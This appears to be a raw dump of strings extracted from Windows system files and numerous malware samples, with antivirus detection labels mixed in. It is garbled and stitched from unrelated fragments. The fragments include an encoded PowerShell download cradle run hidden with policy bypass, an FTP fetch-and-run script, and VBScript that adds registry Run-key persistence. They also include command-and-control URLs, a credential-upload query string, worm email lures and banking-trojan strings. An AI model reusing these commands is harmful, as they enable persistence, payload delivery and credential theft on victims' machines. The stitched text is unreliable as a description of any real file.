Windows.Data.Platform.ItemReference<Windows.Data.QuickActions.QuickActionGroup>
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Tile>
Windows.Data.BlueLightReduction.BlueLightReductionStatePerDevice
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileSingletonData
Windows.Data.Platform.ItemReference<Windows.Data.QuickActions.QuickAction>
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileCollectionItemData
Windows.Data.Platform.ItemReference<Windows.Data.SampleMetadata.SampleDataItem>
Windows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata
Windows.Data.Platform.ItemReference<Windows.Data.PlaceholderTileLogo>
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Group>
c:\windows\iexplore.exe http://
SystemRoot=C:\WINDOWS
Microsoft.Windows.Print.Win32Spl
Microsoft.Windows.Print.PrvSpoolss
Windows.Data.Settings.MultiTasking.MultiTaskDesktop
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
ItemReference<Windows.Data.SampleMetadata.SampleDataItem>
Windows.Data.SampleMetadata.SampleDataCollection
Windows.Data.UnifiedTile.LocalStartTileProperties
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.HomeScreenBackground.PotraitTransform
Windows.Data.Settings.LunarCalendarSettings.LunarCalendar
allowAutoWindowsUpdateDownloadOverMeteredNetwork
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.BlueLightReduction.BlueLightReductionState
Windows.Data.UnifiedTile.GamesListTileProperties
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.BlueLightReduction.SettingsPerDevice
ItemReference<Windows.Data.QuickActions.QuickActionGroup>
Windows.Data.NetworkUX.Cellular.CellularSettings
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartVolatileTilePropertiesMap
Windows.Data.UnifiedTile.LocalStartGlobalProperties
Windows.Data.UnifiedTile.LocalStartVolatileTileProperties
Windows.Data.UnifiedTile.CuratedTileCollectionUpgradeEntry
Windows.Data.UnifiedTile.LocalStartTilePropertiesMap
Windows.Data.UnifiedTile.CuratedTileCollectionsManagerData
Windows.Data.Signals.PredictionEngineFileCondition
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.HomeScreenBackground.LandScapeTransform
Windows.Data.UnifiedTile.RoamedTilePropertiesMap
Windows.Data.PeopleShareTarget.MRUPeopleShareApps
ItemReference<Windows.Data.CuratedTileCollection.Root>
ItemReference<Windows.Data.CuratedTileCollection.Tile>
Windows.Data.NetworkUX.Cellular.ImsiMeteredPairs
ItemReference<Windows.Data.CuratedTileCollection.Group>
ItemReference<Windows.Data.QuickActions.QuickAction>
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Diagnostics.DiagnosticSubDataIntKey
Windows.Data.CuratedTileCollection.RootCollection
Windows.Data.Platform.Partitioning.DeviceExperiencePartition
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.DevicePartitions
Windows.Data.Settings.PrivacySettings.AppConsent
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileData
Windows.Data.Platform.Partitioning.ActivePartitions
Windows.Data.Platform.Partitioning.PartitionIndex
3\Windows\PageXTe.ini\Windows\System\versao.gui!#ALF:HSTR:VirTool:Win32/VBInject.BBJ!bit
StartThreadAtWinLogon!#Trojan:Win32/Flacher_A
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe1
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePickerp
`VMicrosoftWindows.Client.CBS_cw5n1h2txyewy!FESearchUI
Software\Microsoft\Windows\CurrentVersion\Uninstall\Pond\Fyrretret217\Collodionization\Inventionless85S
</c cd C:\Windows\Temp\ & curl -o/
WindowsFormsOCRW
Microsoft.Windows.Licensing.SppSvc.WinAgent
pp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@USettingsGroupViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@winrt@@
.?AU?$producers_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@USettingsGroupViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@V?$tuple@U?$IIterator@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uiterator@?$iterable_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@USettingsGroupViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@Uiterator@?$iterable_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@USettingsGroupViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@U?$IVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@5673@U?$IVectorView@USettingsGroupViewModel@TaskManagerApp@winrt@@@5673@U?$IIterable@USettingsGroupViewModel@TaskManagerApp@winrt@@@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@impl@winrt@@
.?AU?$implements@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@U?$IVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@5673@U?$IVectorView@USettingsGroupViewModel@TaskManagerApp@winrt@@@5673@U?$IIterable@USettingsGroupViewModel@
Microsoft-OneCore-Graphics-DirectX-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-OneCore-Graphics-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package011120~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-TrustedExecution-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-OneCore-Graphics-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package011120~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|!
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-TrustedExecution-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd
*.wns.windowsO
WINDOWS.SYSTEM.DISPATCHERQUEUE
&"\syswow64\windowspowershell\v1.0\"&afbuddet&".exe
Windows.Storage.Pickers
Windows.Storage.Pickers.Provider
Windows.Storage.Provider
Windows.Storage
Windows.Storage.winmd
Windows.Storage.AccessCache
Windows.Storage.BulkAccess
Windows.Storage.Compression
Windows.Storage.FileProperties
E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUXapp:immersive2026-02-20 16:13:452026-02-20 16:13:45tF
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Hosts.WidgetCatalog.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Providers.WidgetResourc
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Hosts.WidgetHostContext.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Feeds.Hosts.FeedHost.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Feeds.Providers.CustomQueryParametersUpdateOptions.g.h
SIGATTR:Obfuscator_LoadLibraryFileMissing.SYSTEM32.A
Windows.Internal.I
Windows.Networking.BackgroundTransfer.Internal
Assets\WindowsSecuritySplashScreen.png
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVe
C:\Windows\System32\rundll32.exe "
WindowsStringHasEmbeddedNull
WindowsDeleteStringBuffer
WindowsPromoteStringBuffer
WindowsPreallocateStringBuffer
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateStringReference
WindowsCreateString
WindowsDuplicateString
-!host process for windows services!
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
!microsoft\windows\bluetool""/tr""powershell-epbypass-esqbfafgaiaaoae4azqb3ac0atwbiagoazqbjahqaiaboaguadaauafcazqbiaemababpaguabgb0ackalgbkag8adwbuagwabwbhagqacwb0ahiaaqbuagcakaanaggadab0ahaaogavac8adgauaU
methodpost-headers@{"authorization"=$6a9}-body([system.text.encoding]::utf8.getbytes($413253+$29a34c)-join'')}sl'ee'p0.8}}-windowstylehidd'en'
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('ta157.20.182.164http:mshxxxa.mp4'|convert-string-e'12345=413//2/5')".
Microsoft-Windows-WMIC-FoD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cato
Microsoft-Windows-WMIC-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.catm
Microsoft-Windows-WMIC-FoD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-WMIC-FoD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-WMIC-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat
Microsoft-Windows-WMIC-FoD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-WMIC-FoD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat
#Windows.Storage.IStorageFileStatics
'Windows.Foundation.UniversalApiContract
&Windows.Storage.IStorageFolderStatics2
'Windows.Foundation.UniversalApiContract
%Windows.Storage.IStorageFolderStatics
'Windows.Foundation.UniversalApiContract
&Windows.Storage.IStorageLibraryStatics
'Windows.Foundation.UniversalApiContract
'Windows.Storage.IStorageLibraryStatics2
'Windows.Foundation.UniversalApiContract
'Windows.Foundation.UniversalApiContract
2Windows.Storage.IStorageLibraryLastChangeIdStatics
'Windows.Foundation.UniversalApiContract
&Windows.Storage.Streams.IBufferFactory
'Windows.Foundation.UniversalApiContract
&Windows.Storage.Streams.IBufferStatics
'Windows.Foundation.UniversalApiContract
*Windows.Storage.Streams.IDataReaderFactory
'Windows.Foundation.UniversalApiContract
*Windows.Storage.Streams.IDataReaderStatics
'Windows.Foundation.UniversalApiContract
*Windows.Storage.Streams.IDataWriterFactory
'Windows.Foundation.UniversalApiContract
6Windows.Storage.Streams.IFileRandomAccessStreamStatics
'Windows.Foundation.UniversalApiContract
Windows.Storage.Streams.Buffer
"Windows.Storage.Streams.DataReader
"Windows.Storage.Streams.DataWriter
.Windows.Storage.Streams.FileRandomAccessStream
'Windows.Foundation.UniversalApiContract
3Windows.Storage.Streams.RandomAccessStreamReference
*Windows.Storage.Streams.RandomAccessStream
2Windows.Storage.Streams.IRandomAccessStreamStatics
'Windows.Foundation.UniversalApiContract
;Windows.Storage.Streams.IRandomAccessStreamReferenceStatics
'Windows.Foundation.UniversalApiContract
'Windows.Storage.ISystemDataPathsStatics
'Windows.Foundation.UniversalApiContract
!Windows.Storage.ISystemProperties
'Windows.Foundation.UniversalApiContract
%Windows.Storage.IUserDataPathsStatics
'Windows.Foundation.UniversalApiContract
Windows.Foundation.Metadata
Windows.Storage.Search
Windows.Storage.Streams
Windows.Foundation
Windows.Foundation.Collections
Windows.System
Windows.Data.Security.Bitlocker.RecoveryPasswordItem
//Windows.Data.Security.Passkey.fbs
Windows.Data.Security.Passkey.PasskeyItem
//Windows.Data.Security.RecoveryProtector.fbs
Windows.Data.Security.Passkey.RecoveryItem
//Windows.Data.Platform.FBDiagnostics.fbs
Windows.Data.Platform.FBDiagnostics.TestKeyItem
Windows.Data.PlaH
WindowStyleHidd
Microsoft.Windows.Widgets
C:\__w\1\s\src\x64\Release\Microsoft.Windows.Widgets\Microsoft.Windows.Widgets.pdb
"del \\127.0.0.1\c$\windows\system32\
"#git.negg.teamwindows%2eag%2elibinjectionwindows.ag.libinjection/windows.ag.pkg/dependency/function.FilterProcessesLaunchedFromUserName!#ALFPER:AmonetizeNetfilter.A1
WindowsApplication1.IYUHGBFSC.resourcesW
4b^windows.comServer
4c^windows.protocol
4c^windows.appExtension
Windows::Internal::StateRepository::PackagePolicyFactoryServer::Add
Windows::Internal::StateRepository::Management::RepositoryManagerServer::Upgrade
@onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.management.repositorymanager.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.primarytileusernotificationchannelfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.dependencygraphfactory-custom.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.bundlefactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.dynamicappurihandlergroupfactory.cpp
 Windows
 Windows
W?$function@$$A6A?AUIndexPath@Controls@Xaml@UI@Windows@winrt@@AEBV?$vector@USelectedItemInfo@@V?$alloca 
Microsoft-Windows-CoreSystem-Security-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.712.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
clientcore\multimedia\audiocore\server\audiosrv\windowspolicymanager\applicationmanager.cpp
clientcore\multimedia\audiocore\server\audiosrv\windowspolicymanager\workitem.cpp
clientcore\multimedia\audiocore\server\audiosrv\windowspolicymanager\ts.cpp
clientcore\multimedia\audiocore\server\audiosrv\windowspolicymanager\windowspolicymanager.cpp
clientcore\multimedia\audiocore\server\audiosrv\windowspolicymanager\streamclasspolicymanager.cpp
clientcore\multimedia\audiocore\server\audiosrv\windowspolicymanager\audiosessionstore.cpp
clientcore\multimedia\audiocore\server\audiosrv\windowspolicymanager\application.cpp
clientcore\multimedia\audiocore\server\audiosrv\windowspolicymanager\pickerhostcontext.cpp
=execute "c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe", 
Wwindowsinstaller.installer
Windows.StateRepositoryPS.pdb
display pop-up windows while running in the backgroundsendsms://pokpokpok-63573.portmap.host:63573?model=com/processor/pro/screenrecorderservicecom.processor.pro.deviceadmincredentials.javaclick 'permissions'
Microsoft.Windows.DeviceManagement.DmCmnUtils
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
for windowsignoL
path=%windir%\system32&&move"creditcardfront.png.lnk""%tmp%\1.lnk"&forfiles/p
Windows.Client.CBS_cw5n1h2txyewy!A
.l.WidgetPickerMicrosoftWindows.Client.CBS_cw5n1h2txyewy!Globa=
loadoptions: driver image file path =loadoptions: driver directory [nt] =loadoptions: driver directory [dos] =getkernelcallsaddresses (windows server 2003, build 3790):getkernelcallsaddresses (windows xp, build 2600):getkernelcallsaddresses (windows 2000, build 2195):error, getkernelcallsaddresses() failedwarning, createdospathresolvethread() failedfileinformationclass != filebothdirectoryinformationntdeletefile [protected]:ntqueryattributesfile [protected]:ntqueryfullattributesfile [protected]:
%%systemroot%\system32\drivers\pcihdd.sys%systemroot%\system32\userinit.exedeleteservice
:\programdata\microsoft\windows\menu iniciar\programas\inicializar\
	/\regsvr32 /scheckexesignaturestaskbarcreated\software\microsoft\windows\currentversion\run\software\microsoft\internet explorer\downloadd
C:\\Users\\GavaLarr\\Desktop\\Windows\\prjSchool.vbp
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
\http\shell\open\commandhijackkillboxwin32delfkilcombofixwin32delfgooglebott_work_proca; timer2_work_timeout=\system32\regsvr32.exehttp://
\software\microsoft\windows nt\currentversion\winlogon\notify\software\microsoft\windows\currentversion\explorer\sharedtaskscheduler\system\currentcontrolset\control\session managerpendingfilerenameoperationsdouble_hooka.dll
]oc:\windows\system32\isass.scrc:\windows\system32\csrs.scrhttp://
c:\windows\system32\updatej
GetWindowsDirectoryA
'olwnrf96.dll\%s.sys%s\\drivers%s\\%s.dllc:\windows\system32\\drivers\\catclogd.dllstate.dlllive.sys
\system32\drivers\svchost.exe
%systemroot%\system32\svchost.dll
software\microsoft\windows\currentversion\explorer\shell folders
%WINDOWS
win32.voltage virus written by dr-ef (c) 2004readme.exedirs\box\w32_voltage.exec:\windows\system\wvltg.exemail from:<securityupdate@microsoft.com>mail from:<freepictures@worldsex.com>mail from:<virusalert@symantec.com>mail from:<support@kazaa.com>mail from:<greets@greeting-cards.com>filename= "150_xxx_pictures.exe"dear symantec/f-secure/mcafee/trend micro userfilename= "kazaa media desktop.exe"greeting-cards.com have sent you a greeting cardfilename= "your greeting card.exe"software\microsoft\wab\wab4\wab file namef-tbawantizonescanprotmonirwebmircckdotrojsafejeditrayandainocspidplorndlltrenamonnsplnschnod3alersmssh
http://81.95.144.242/tes/cout.php/rpc/cl.phpgeweb2 agent 1.0\\.\kcpc:\windows\iexplore.exe
f:\windows\system32\com\comrecfg.exeread_pe_info successedsorryiloveyoureceived exit signal, exited..
sensnotifywinlogonevent
windows
microsoftwindows"))fso.createtextfile(sys&"
windows
"&"microsoftwindows",sys&"
%system32%
d~\nvsvc1024.dlldel c:\myapp.exeif exist c:\myapp.exe goto try\printer.exespoolvshellsoftware\microsoft\windows nt\currentversionwowfx.dll_trayevent\
C:\WINDOWS\
C:\WINDOWS\
add hklm\software\microsoft\windows\currentversion\run /v orctobylolatwe /d tibiaclientj
c:\windows\system32\drivers\etc\hostshttp://
c:\windows\at
$|selfdelete.batwkbpsevaxghewwawxlpptxwlahhxktajxgkiiej@software\microsoft\windows\currentversion\run\win32 service
software\mircosoft\windows\currentversion\runyou are infected with rp_virus !rp-virus(new random payloder virus)\rp.exerp_virus.pif.scr*.exe
software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall
	xinternetbankingcaixamozillafirefoxinternetbankingcaixawindowsinternetexplorernossacaixanetbankingmicrosoftinternetexplorernossacaixanetbankingwindowsinternetexplorernossacaixanetbankingmozillafirefoxsetclipboarddata
mSoftware\Microsoft\Windows\CurrentVersion\Policies\systemSYSTEM\CurrentControlSet\Services\BITS\ParametersSOFTWARE\Microsoft\Windows\CurrentVersion\SetupSYSTEM\ControlSet003\Services\BITS\Parameterscmd.exe /c del
c:\program files\internet explorer\svch0st.exec:\program files\windows media player\defrenlt.wmzeasyclickplus9http://
onerrorresumenextsetfso=createobject("scripting.filesystemobject")setwscr=createobject("wscript.shell")wscr.regwrite"hkey_local_machine\software\microsoft\windows\currentversion\run\winini.dll",fso.getspecialfolder(1)&"\winini.vbs"wscr.regwrite"hkey_users\.default\software\microsoft\windows\currentversion\run\winini.dll",fso.getspecialfolder(1)&"\winini.vbs"setap=fso.createtextfile(fso.getspecialfolder(1)&"\winini.vbs")ap.write"
windows media playermicrosoft visual studio\
%s\updatax.exetmp%d.tempc:\windows\system32\lssass.exec:\_uninsep.bat
c:\recycler\msconfig32.exebot killed and removed: %s (pid: %d)!%s %s "fo%d.net" "lol" :%spatching tcpip.syscmd /c echo open %s %d >> ik &echo user %s %s >> ik &echo binary >> ik &echo get %s >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &%s &exitscanning: %s, %d threads. scanning vncssoftware\\microsoft\\windows\\currentversion\\runsystem\\currentcontrolset\\services\\sharedaccess\\parameters\\firewallpolicy\\standardprofile\\authorizedapplications\\list
%s\registry1.dll%s\ersvc.exe%s\mmsg\mmsg.exe%s\mmsg\mcafee.update.exe%s\config\system.update.exe%s\config\easy.windows.monitoring.exe%s\mails.dll%s\muhammad_is_my_prophet.txt%s, your name is listed in terrorism organisation..!!!%s, namamu termasuk dalam daftar terrorist..!!
/remove$findfile(c:\windows\,*.dll
p00.dat?id=$windows\soundlib.exe
$windows\soundgui.exe
$windows\flashgame.exe
R{f3532ce1-1832-11b1-920a-25000a276a57}this service downloading and installing windows security updatesfloodhttp://somehost.net/stat.php_bot.exeblackenergy ddos bot;
software\microsoft\windows\currentversion\shellserviceobjectdelay%ld.exe
\system32\catclogd.dllrundll32.exe %s,StartFtpGetFileA
J7222.11.12.26http://www.ytwgyxx.com/Images/bg_06.gifMessenger00001823C:\WINDOWS\system32\1.exe
c:\windows\system32\
]}[jhttp://www.larapia.com/tmp/pdf.pdfmozilla/5.0 (windows; u; windows nt 5.1; en;) gecko/30060309 firefox/1.5.0.7ed0350ce3494ebd45b2ae8asystemrootd
software\microsoft\windows\currentversion\explorer
software\microsoft\windows\currentversion\explorer\shellexecutehooksdc3d30ae-0380-4151-8934-ee98a34b03708c41b7f7-3168-400d-a702-0e7efe0ba304caed0f3b-df8b-4dbf-bb20-8dfbc319906882738577-2320-47a8-8593-645541d48bcdc:\windows\system32\
software\microsoft\windows\currentversion\setup"un userinit.exenetservice.exesysns.dllsvchost.exe -kplugin\001.dllcmd /c at 23:59 shutdown -r -t 0kvmonxp.kxpc:\1.hivsoftware\ns
c:\windows\
c:\windows\system32\
3ereproduce:filecopydir,c:\ntdetec1\child,%element%:\,1regwrite,reg_sz,hkey_local_machine,software\microsoft\windows\currentversion\policies\explorer\run,winlogon,c:\ntdetec1\run.exeloop, read,c:\ntdetec1\drivelist.txttskclose:
ifwinexist,windows task manager
Ic:\windows\system32\
c:\windows\java\
.com/orkutc:\windows\system32\ork.exec:\windows\system32\windowsupdate.scr
getwindowsdirectorya
menu iniciar\programas\inicializar\winsys2.exe:\winsys2.exec:\windows\setup.inihttp://seguritysys.kinghost.net/?id=1
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\notepad.exe c:\
kvmon.execmd.exe /c del system32\userinit.exe,
ghttp://%s:%d/%d%04dc:\program files\internet explorer\%sc:\windows\system32\
`mASOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
oftware\Microsoft\Windows\Curr
\system32\Microsoft\svchost.exe
reactNativeWindowsVersion
windows\currentversion\explorer\user shell foldersSettings\Application Data\Start\
e:\hide.exee:\autorun.infc:\windows\system32\wnipsv
X_KCnetsh firewall add allowedprogramuseautoplay=0shellexecute=recycled\shutdown -s -t 0shutdown -r -t 0system32\rundll32.exe powrprof.dll,setsuspendstatepc user disablepc user enablepc loadpc runpc gourlpc homepage
del mainserverFFServer.exe#WindowsManagementCheckRadioBoxClick*
c:\windows\system\system.exehttp://www.kreher.tv/dhes/images/images/
software\microsoft\windows\currentversion\run
svchost.dll%systemroot%\system32\svchost.exe -k netsvcssystem\currentcontrolset\services\%s\parameters
C:\WINDOWS\SYSTEM32KBRunOnce2.tm_http://msiesettings.com/check/
windows updatawhereamiautorunencrypt\\.\smartvsde
aol 7.0 for windowscalypso versionegroups message posterinternet mail service (5.5.2650.21)mailgate v3.0mime-tools 4.104 (entity 4.116)mutt/1.5.1ipegasus mail for win32 (v2.53/r1)pobox ii beta1.0qualcomm windows eudorasmartmailer version 1.56 -german privat license-sylpheed version 0.8.2 (gtk+ 1.2.10; i586-alt-linux)
,pprotectorserviceprotector.sys\\.\protectorwindows\system32\regsvr32.exewindows\system32\sc.exeexplorer_tridentdlgframecwebbrowser260.190.223.11219.2
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32
c:\windows\system32\t
 [c:\windows\system32\kernel32.dll]
servet.exedrivers/klick.sysdeleteme.batbatser.batsoftware\microsoft\windows\currentversion\policies\explorer
%s?sn=%s&un=%s&pw=%s&sp=%s&pn=%s&gd1=%d&gd2=%d\system32\mywininet100.dll\system32\wininet.dll\system32\ws2_32.dll
"software\microsoft\windows nt\currentversion\windows
appinit_dllssoftware\policies\microsoft\windows\windowsupdate\au
e:\program files\microsoft visual studio\vb98\vb6.olbe:\windows\system32\mshtml.tlbn
http://www.sz1001.net/search.asp?k=software\microsoft\windows nt\currentversion\image file execution options\
P>>%windir%\system32\drivers\etc\hosts
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\ipsecFkShutdown
translateacceleratorac:\windows\system32\calc.exe
`\exedialer1.exeexestartfilesoftware\egdhtmlforce_p2eforce_dialerdialerexe.ininocreditcard_programfiles_dir__windows_dir__system_dir_login=\dialexe.epk\desktopicons\instant access\offline.htmunable to load dialerasked_billing_idregsvr32.exe /sinstant access.exej
shell\Auto\command=Setup.exesoftware\microsoft\windows\currentversion\run
Software\Microsoft\Windows\CurrentVersion\Run
matekage.ifrance.commeciwame.ifrance.compecipixi.iespana.estrojaner-board.deforum.kaspersky.comboard.gofuckyourself.comcs_config_shgetprocesswindowstation{ef62ef34-7e5a-46ac-9383-1949547af5d6}.
